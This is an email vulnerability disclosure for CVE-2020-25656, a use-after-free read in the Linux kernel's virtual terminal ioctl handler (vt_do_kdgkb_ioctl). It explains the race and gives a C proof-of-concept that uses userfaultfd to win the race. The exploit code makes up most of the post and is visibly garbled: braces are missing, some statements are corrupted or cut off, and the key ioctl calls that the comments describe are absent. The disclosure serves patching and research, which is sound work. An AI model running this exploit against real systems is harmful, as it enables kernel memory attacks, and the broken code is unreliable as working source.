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Date: Fri, 16 Oct 2020 11:39:34 +0800
From: Minh Yuan <>
Subject: CVE-2020-25656: Linux kernel concurrency UAF in vt_do_kdgkb_ioctl


We recently discovered a uaf read in vt_do_kdgkb_ioctl from linux kernel
version 3.4 to the latest version (v5.9 for now).

The root cause of this vulnerability is that there exits a race in

Here are details:
1. use  KDSKBSENT to allocate a lager heap buffer to funcbufptr;
2. use KDGKBSENT to obtain the allocated heap pointer in step1 by
func_table, at the same time, due to KDGKBSENT has no lock, we can use
KDSKBSENT again to allocate a larger buffer than step1, and the old
funcbufptr will be freed. However, we've obtained the heap pointer in
KDGKBSENT, so a uaf read will happen while executing put_user.

I've successfully reproduced this bug in a special way.
However, to write a universal PoC for anyone else to reproduce it,  I use
userfaultfd to handle the order of "free" and "use" in multithreading
environment. This is my PoC:

// author by ziiiro@thu
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <stdlib.h>
#include <signal.h>
#include <string.h>
#include <sys/syscall.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <linux/prctl.h>
#include <stdint.h>

#define errExit(msg)    do { perror(msg); exit(EXIT_FAILURE); \
                       } while (0)

#define KDGKBSENT 0x4B48 /* gets one function key string entry */
#define KDSKBSENT 0x4B49 /* sets one function key string entry */

struct kbsentry {
unsigned char kb_func;
unsigned char kb_string[512];
int fd;
static int page_size;
static void *fault_handler_thread(void *arg) {
  unsigned long value;
  static struct uffd_msg msg;
  static int fault_cnt = 0;
  long uffd;
  static char *page = NULL;
  struct uffdio_copy uffdio_copy;
  int len, i;
  if (page == NULL) {
    page = mmap(NULL, page_size, PROT_READ | PROT_WRITE,
                MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
    if (page == MAP_FAILED) errExit("mmap (userfaultfd)");
  uffd = (long)arg;

  for(;;) {
    struct pollfd pollfd;
    pollfd.fd = uffd; = POLLIN;
    len = poll(&pollfd, 1, -1);

    read(uffd, &msg, sizeof(msg));
    printf("    flags = 0x%lx\n", msg.arg.pagefault.flags);
    printf("    address = 0x%lx\n", msg.arg.pagefault.address);
    switch(fault_cnt) {
        case 0:
            puts("triggered in the first page!");
        case 1:
            puts("triggered in the seccond page!");
            void *addr = (void*)mmap((void*)0x233000,
                        PROT_READ | PROT_WRITE,
                        MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                        -1, 0);
            if ((unsigned long)addr != 0x233000)
                errExit("mmap (0x233000)");
            // register 0x233000 again to trigger put_user
            struct uffdio_register uffdio_register;
            uffdio_register.range.start = (unsigned long)addr;
            uffdio_register.range.len   = page_size;
            uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
            if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1)
                errExit("ioctl: UFFDIO_REGITER");
        case 2:
            puts("triggered in put_user!");
            struct kbsentry *kbs;
            kbs = malloc(sizeof(struct kbsentry));
            kbs->kb_func = 0;

            // free old funcbufptr

    // return to kernel-land
    uffdio_copy.src = (unsigned long)page;
    uffdio_copy.dst = (unsigned long)msg.arg.pagefault.address &
~(page_size - 1);
    uffdio_copy.len = page_size;
    uffdio_copy.mode = 0;
    uffdio_copy.copy = 0;
    if (ioctl(uffd, UFFDIO_COPY, &uffdio_copy) == -1)
        errExit("ioctl: UFFDIO_COPY");


// use userfaultfd to handle free->use
void setup_pagefault(void *addr, unsigned size) {
  long uffd;
  pthread_t th;
  struct uffdio_api uffdio_api;
  struct uffdio_register uffdio_register;
  int s;
  // new userfaulfd

  uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
  if (uffd == -1) errExit("userfaultfd");
  // enabled uffd object
  uffdio_api.api = UFFD_API;
  uffdio_api.features = 0;
  if (ioctl(uffd, UFFDIO_API, &uffdio_api) == -1) errExit("ioctl:
  // register memory address
  uffdio_register.range.start = (unsigned long)addr;
  uffdio_register.range.len   = size;
  uffdio_register.mode        = UFFDIO_REGISTER_MODE_MISSING;
  if (ioctl(uffd, UFFDIO_REGISTER, &uffdio_register) == -1) errExit("ioctl:
  // monitor page fault
  s = pthread_create(&th, NULL, fault_handler_thread, (void*)uffd);
  if (s != 0) errExit("pthread_create");

int main(int argc, char** argv)
        struct kbsentry *kbs;
        pthread_t th;
        page_size = sysconf(_SC_PAGE_SIZE);
        void *addr = (void*)mmap((void*)0x233000,
                            page_size * 2,
                            PROT_READ | PROT_WRITE,
                            MAP_FIXED | MAP_PRIVATE | MAP_ANON,
                            -1, 0);
        if ((unsigned long)addr != 0x233000)
            errExit("mmap (0x233000)");
        setup_pagefault(addr, page_size * 2);
        kbs = malloc(sizeof(struct kbsentry));
        kbs->kb_func = 0;
        fd = open("/dev/tty1", O_RDONLY, 0);

        // allocate a lager funcbufptr
        // use KDGKBSENT to access the new funcbufptr
        ioctl(fd,KDGKBSENT,addr + page_size - 0x20);
        return 1;


Make sure set KASAN in config, and to use userfaultfd, CONFIG_USERFAULTFD=y
is also needed. Besides, it needs the privilege to access tty to trigger
this bug.

We've noticed that this bug was also discovered by Syzbot 8 months ago, but
no one has successfully reproduced it (,
leaving this issue ignored and upatched yet. Hope this PoC can help

* 10.15.20 - Vulnerability reported to and
* 10.15.20 - CVE-2020-25656 assigned.
* 10.16.20 - Vulnerability opened.

Yuan Ming and Bodong Zhao, Tsinghua University

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